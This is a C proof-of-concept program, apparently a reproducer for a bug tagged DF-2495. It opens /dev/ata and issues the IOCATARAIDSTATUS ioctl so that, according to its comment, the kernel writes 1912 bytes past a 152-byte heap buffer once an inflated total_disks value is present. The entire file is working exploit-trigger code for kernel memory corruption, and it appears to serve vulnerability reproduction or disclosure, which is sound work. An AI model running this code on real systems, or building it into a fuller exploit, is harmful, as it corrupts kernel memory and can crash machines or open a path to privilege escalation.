DF-2495 / df2495_status.c
/* * df2495_status.c -- trigger the REAL kernel's IOCATARAIDSTATUS path * (root, /dev/ata) after DF-2495's inflated rdp->total_disks is present * in the real ata_raid_arrays[0]. Mirrors sys/kern/sys_generic.c: the * generic ioctl layer copyin()s the 152-byte struct into a kmalloc()d * buffer (152 > STK_PARAMS 128), the kernel writes * status->disks[0..total_disks-1], and 1912 bytes land past it. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/nata.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> int main(int argc, char **argv) { struct ata_ioc_raid_status st; int fd, error; memset(&st, 0, sizeof(st)); st.lun = (argc > 1) ? atoi(argv[1]) : 0; fd = open("/dev/ata", O_RDONLY); if (fd < 0) { perror("open /dev/ata"); return (1); } printf("IOCATARAIDSTATUS lun=%d sizeof(status)=%zu bytes " "(kernel kmallocs 152 -> writes %zu bytes for total_disks=255)\\n", st.lun, sizeof(st), (size_t)(24 + 255 * 8)); error = ioctl(fd, IOCATARAIDSTATUS, &st); printf("ioctl returned %d (errno=%d) total_disks=%u\\n", error, error == 0 ? 0 : errno, st.total_disks); close(fd); return (0); } |